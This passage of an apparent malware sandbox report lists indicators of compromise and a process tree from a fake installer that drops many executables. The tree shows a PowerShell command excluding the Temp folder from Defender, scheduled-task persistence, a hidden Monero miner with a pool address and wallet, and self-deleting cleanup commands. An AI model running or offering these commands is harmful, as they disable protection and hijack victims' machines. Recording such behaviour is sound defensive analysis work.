pid	Process
3064	Process not Found

Suspicious behavior: MapViewOfSection 7 IoCs

pid	Process
1816	Tue11bc0507b56295.exe
8932	Tue11e4e580f2e8141a3.exe
8932	Tue11e4e580f2e8141a3.exe
1512	MicrosoftEdgeCP.exe
1512	MicrosoftEdgeCP.exe
8868	MicrosoftEdgeCP.exe
8868	MicrosoftEdgeCP.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	192	3002.exe
Token: SeCreateTokenPrivilege	1908	Vigaesakexo.exe
Token: SeAssignPrimaryTokenPrivilege	1908	Vigaesakexo.exe
Token: SeLockMemoryPrivilege	1908	Vigaesakexo.exe
Token: SeIncreaseQuotaPrivilege	1908	Vigaesakexo.exe
Token: SeMachineAccountPrivilege	1908	Vigaesakexo.exe
Token: SeTcbPrivilege	1908	Vigaesakexo.exe
Token: SeSecurityPrivilege	1908	Vigaesakexo.exe
Token: SeTakeOwnershipPrivilege	1908	Vigaesakexo.exe
Token: SeLoadDriverPrivilege	1908	Vigaesakexo.exe
Token: SeSystemProfilePrivilege	1908	Vigaesakexo.exe
Token: SeSystemtimePrivilege	1908	Vigaesakexo.exe
Token: SeProfSingleProcessPrivilege	1908	Vigaesakexo.exe
Token: SeIncBasePriorityPrivilege	1908	Vigaesakexo.exe
Token: SeCreatePagefilePrivilege	1908	Vigaesakexo.exe
Token: SeCreatePermanentPrivilege	1908	Vigaesakexo.exe
Token: SeBackupPrivilege	1908	Vigaesakexo.exe
Token: SeRestorePrivilege	1908	Vigaesakexo.exe
Token: SeShutdownPrivilege	1908	Vigaesakexo.exe
Token: SeDebugPrivilege	1908	Vigaesakexo.exe
Token: SeAuditPrivilege	1908	Vigaesakexo.exe
Token: SeSystemEnvironmentPrivilege	1908	Vigaesakexo.exe
Token: SeChangeNotifyPrivilege	1908	Vigaesakexo.exe
Token: SeRemoteShutdownPrivilege	1908	Vigaesakexo.exe
Token: SeUndockPrivilege	1908	Vigaesakexo.exe
Token: SeSyncAgentPrivilege	1908	Vigaesakexo.exe
Token: SeEnableDelegationPrivilege	1908	Vigaesakexo.exe
Token: SeManageVolumePrivilege	1908	Vigaesakexo.exe
Token: SeImpersonatePrivilege	1908	Vigaesakexo.exe
Token: SeCreateGlobalPrivilege	1908	Vigaesakexo.exe
Token: 31	1908	Vigaesakexo.exe
Token: 32	1908	Vigaesakexo.exe
Token: 33	1908	Vigaesakexo.exe
Token: 34	1908	Vigaesakexo.exe
Token: 35	1908	Vigaesakexo.exe
Token: SeDebugPrivilege	1840	Tue11141271fbe5877f.exe
Token: SeDebugPrivilege	2144	powershell.exe
Token: SeDebugPrivilege	4436	2.exe
Token: SeDebugPrivilege	4528	PublicDwlBrowser1100.exe
Token: SeDebugPrivilege	3140	1249344.exe
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeDebugPrivilege	2380	BearVpn 3.exe
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeDebugPrivilege	648	rundll32.exe
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeRestorePrivilege	5208	Process not Found
Token: SeBackupPrivilege	5208	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found

Suspicious use of FindShellTrayWindow 10 IoCs

pid	Process
5352	setup_2.tmp
1368	ultramediaburner.tmp
3064	Process not Found
7984	installer.exe
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
3064	Process not Found

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3064	Process not Found
7252	MicrosoftEdge.exe
7424	cmd.exe
8932	Tue11e4e580f2e8141a3.exe
8932	Tue11e4e580f2e8141a3.exe
7584	MicrosoftEdge.exe
1512	MicrosoftEdgeCP.exe
1512	MicrosoftEdgeCP.exe
9668	MicrosoftEdge.exe
8868	MicrosoftEdgeCP.exe
8868	MicrosoftEdgeCP.exe

Suspicious use of UnmapMainImage 2 IoCs

pid	Process
3064	Process not Found
3064	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4876 wrote to memory of 4436	4876	setup_x86_x64_install.exe	82
PID 4876 wrote to memory of 4436	4876	setup_x86_x64_install.exe	82
PID 4876 wrote to memory of 4436	4876	setup_x86_x64_install.exe	82
PID 4436 wrote to memory of 4508	4436	setup_installer.exe	83
PID 4436 wrote to memory of 4508	4436	setup_installer.exe	83
PID 4436 wrote to memory of 4508	4436	setup_installer.exe	83
PID 4508 wrote to memory of 4756	4508	setup_install.exe	86
PID 4508 wrote to memory of 4756	4508	setup_install.exe	86
PID 4508 wrote to memory of 4756	4508	setup_install.exe	86
PID 4508 wrote to memory of 4716	4508	setup_install.exe	87
PID 4508 wrote to memory of 4716	4508	setup_install.exe	87
PID 4508 wrote to memory of 4716	4508	setup_install.exe	87
PID 4508 wrote to memory of 4728	4508	setup_install.exe	89
PID 4508 wrote to memory of 4728	4508	setup_install.exe	89
PID 4508 wrote to memory of 4728	4508	setup_install.exe	89
PID 4508 wrote to memory of 4432	4508	setup_install.exe	88
PID 4508 wrote to memory of 4432	4508	setup_install.exe	88
PID 4508 wrote to memory of 4432	4508	setup_install.exe	88
PID 4716 wrote to memory of 2864	4716	cmd.exe	90
PID 4716 wrote to memory of 2864	4716	cmd.exe	90
PID 4716 wrote to memory of 2864	4716	cmd.exe	90
PID 4508 wrote to memory of 2752	4508	setup_install.exe	91
PID 4508 wrote to memory of 2752	4508	setup_install.exe	91
PID 4508 wrote to memory of 2752	4508	setup_install.exe	91
PID 4508 wrote to memory of 524	4508	setup_install.exe	97
PID 4508 wrote to memory of 524	4508	setup_install.exe	97
PID 4508 wrote to memory of 524	4508	setup_install.exe	97
PID 4508 wrote to memory of 808	4508	setup_install.exe	96
PID 4508 wrote to memory of 808	4508	setup_install.exe	96
PID 4508 wrote to memory of 808	4508	setup_install.exe	96
PID 4508 wrote to memory of 896	4508	setup_install.exe	92
PID 4508 wrote to memory of 896	4508	setup_install.exe	92
PID 4508 wrote to memory of 896	4508	setup_install.exe	92
PID 4508 wrote to memory of 692	4508	setup_install.exe	95
PID 4508 wrote to memory of 692	4508	setup_install.exe	95
PID 4508 wrote to memory of 692	4508	setup_install.exe	95
PID 4432 wrote to memory of 192	4432	cmd.exe	93
PID 4432 wrote to memory of 192	4432	cmd.exe	93
PID 4508 wrote to memory of 4744	4508	setup_install.exe	94
PID 4508 wrote to memory of 4744	4508	setup_install.exe	94
PID 4508 wrote to memory of 4744	4508	setup_install.exe	94
PID 4756 wrote to memory of 2144	4756	cmd.exe	98
PID 4756 wrote to memory of 2144	4756	cmd.exe	98
PID 4756 wrote to memory of 2144	4756	cmd.exe	98
PID 4728 wrote to memory of 1104	4728	cmd.exe	106
PID 4728 wrote to memory of 1104	4728	cmd.exe	106
PID 4728 wrote to memory of 1104	4728	cmd.exe	106
PID 808 wrote to memory of 1200	808	cmd.exe	105
PID 808 wrote to memory of 1200	808	cmd.exe	105
PID 808 wrote to memory of 1200	808	cmd.exe	105
PID 2752 wrote to memory of 1248	2752	cmd.exe	104
PID 2752 wrote to memory of 1248	2752	cmd.exe	104
PID 2752 wrote to memory of 1248	2752	cmd.exe	104
PID 524 wrote to memory of 1816	524	taskkill.exe	103
PID 524 wrote to memory of 1816	524	taskkill.exe	103
PID 524 wrote to memory of 1816	524	taskkill.exe	103
PID 896 wrote to memory of 1840	896	cmd.exe	99
PID 896 wrote to memory of 1840	896	cmd.exe	99
PID 4744 wrote to memory of 1868	4744	cmd.exe	102
PID 4744 wrote to memory of 1868	4744	cmd.exe	102
PID 4744 wrote to memory of 1868	4744	cmd.exe	102
PID 692 wrote to memory of 1908	692	cmd.exe	162
PID 692 wrote to memory of 1908	692	cmd.exe	162
PID 692 wrote to memory of 1908	692	cmd.exe	162

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2684

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2628

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2616

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2344

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2336

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1956

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1404

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1344

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1216

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1096

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
PID:1028
- C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  2⤵
  PID:8212
- C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  2⤵
  PID:3692
- C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  2⤵
  PID:7052
- C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  2⤵
  PID:7856
- C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  2⤵
  PID:7848
- C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  2⤵
  PID:3836

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:988

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4876
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4436
- - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS45165B34\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:4508
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4756
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2144
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11d7385a978cc.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4716
    - - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11d7385a978cc.exe
        
        Tue11d7385a978cc.exe
        5⤵
        Executes dropped EXE
        
        PID:2864
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11f251db82fb7b.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4432
    - - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11f251db82fb7b.exe
        
        Tue11f251db82fb7b.exe
        5⤵
        
        PID:192
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        Executes dropped EXE
        
        PID:3444
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        
        PID:4732
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        
        PID:6772
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:6580
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:7156
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:5760
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:8392
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        Executes dropped EXE
        
        PID:4732
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        
        PID:10164
        
        C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4528
        
        C:\Users\Admin\AppData\Roaming\1493161.exe
        
        "C:\Users\Admin\AppData\Roaming\1493161.exe"
        8⤵
        Executes dropped EXE
        
        PID:5952
        
        C:\Users\Admin\AppData\Roaming\8629951.exe
        
        "C:\Users\Admin\AppData\Roaming\8629951.exe"
        8⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:6088
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        9⤵
        Executes dropped EXE
        
        PID:2976
        
        C:\Users\Admin\AppData\Roaming\4233401.exe
        
        "C:\Users\Admin\AppData\Roaming\4233401.exe"
        8⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5896
        
        C:\Users\Admin\AppData\Roaming\1258550.exe
        
        "C:\Users\Admin\AppData\Roaming\1258550.exe"
        8⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2168
        
        C:\Users\Admin\AppData\Roaming\5106189.exe
        
        "C:\Users\Admin\AppData\Roaming\5106189.exe"
        8⤵
        Executes dropped EXE
        
        PID:4752
        
        C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:3844
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im Alfanewfile2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe" & del C:\ProgramData\*.dll & exit
        8⤵
        
        PID:7880
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im Alfanewfile2.exe /f
        9⤵
        Kills process with taskkill
        
        PID:8040
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:10072
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        Executes dropped EXE
        
        PID:2128
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 808
        8⤵
        Program crash
        
        PID:5912
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 832
        8⤵
        Program crash
        
        PID:3748
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 856
        8⤵
        Program crash
        
        PID:6308
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 904
        8⤵
        Program crash
        
        PID:6576
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 964
        8⤵
        Program crash
        
        PID:6844
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 968
        8⤵
        Program crash
        
        PID:7132
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 1332
        8⤵
        Program crash
        
        PID:6276
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 1380
        8⤵
        Program crash
        
        PID:1040
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 1376
        8⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Program crash
        
        PID:2768
        
        C:\Users\Admin\AppData\Local\Temp\2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4436
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        8⤵
        
        PID:6468
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6468 -s 316
        9⤵
        Program crash
        
        PID:6724
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6468 -s 320
        9⤵
        Program crash
        
        PID:6076
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6468 -s 592
        9⤵
        Program crash
        
        PID:1552
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6468 -s 580
        9⤵
        Program crash
        
        PID:4716
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6468 -s 676
        9⤵
        Program crash
        
        PID:4384
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6468 -s 648
        9⤵
        Program crash
        
        PID:7916
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6468 -s 676
        9⤵
        Program crash
        
        PID:7796
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6468 -s 732
        9⤵
        Program crash
        
        PID:5212
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        7⤵
        Executes dropped EXE
        
        PID:4860
        
        C:\Users\Admin\AppData\Local\Temp\is-JCRCK.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-JCRCK.tmp\setup_2.tmp" /SL5="$301FC,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4748
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        9⤵
        Executes dropped EXE
        
        PID:5164
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:192
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
        8⤵
        Executes dropped EXE
        
        PID:5716
        
        C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
        7⤵
        Executes dropped EXE
        
        PID:4892
        
        C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2380
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11b9d76a96506.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4728
    - - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11b9d76a96506.exe
        
        Tue11b9d76a96506.exe
        5⤵
        Executes dropped EXE
        
        PID:1104
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1109eec571ac.exe /mixone
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2752
    - - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue1109eec571ac.exe
        
        Tue1109eec571ac.exe /mixone
        5⤵
        Executes dropped EXE
        
        PID:1248
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1248 -s 656
        6⤵
        Program crash
        
        PID:5208
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1248 -s 672
        6⤵
        Program crash
        
        PID:5796
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1248 -s 680
        6⤵
        Program crash
        
        PID:1856
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1248 -s 672
        6⤵
        Program crash
        
        PID:6268
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1248 -s 880
        6⤵
        Program crash
        
        PID:7056
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1248 -s 948
        6⤵
        Program crash
        
        PID:6948
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1248 -s 1148
        6⤵
        Program crash
        
        PID:6432
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1248 -s 1184
        6⤵
        Program crash
        
        PID:3760
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1248 -s 1140
        6⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Program crash
        
        PID:6776
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11141271fbe5877f.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:896
    - - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11141271fbe5877f.exe
        
        Tue11141271fbe5877f.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1840
      - C:\ProgramData\1249344.exe
        
        "C:\ProgramData\1249344.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3140
      - C:\ProgramData\2560021.exe
        
        "C:\ProgramData\2560021.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4364
      - C:\ProgramData\3802659.exe
        
        "C:\ProgramData\3802659.exe"
        6⤵
        Executes dropped EXE
        
        PID:5184
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue112c483dd3245d.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4744
    - - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue112c483dd3245d.exe
        
        Tue112c483dd3245d.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:1868
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im Tue112c483dd3245d.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue112c483dd3245d.exe" & del C:\ProgramData\*.dll & exit
        6⤵
        
        PID:8124
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im Tue112c483dd3245d.exe /f
        7⤵
        Kills process with taskkill
        
        PID:6448
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        7⤵
        Delays execution with timeout.exe
        
        PID:10108
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue118f55232e4.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:692
    - - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue118f55232e4.exe
        
        Tue118f55232e4.exe
        5⤵
        
        PID:1908
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        6⤵
        
        PID:904
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        7⤵
        Kills process with taskkill
        Suspicious use of WriteProcessMemory
        
        PID:524
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11e4e580f2e8141a3.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:808
    - - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        Tue11e4e580f2e8141a3.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1200
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:4692
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:1292
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:208
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:5540
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:592
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:5860
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
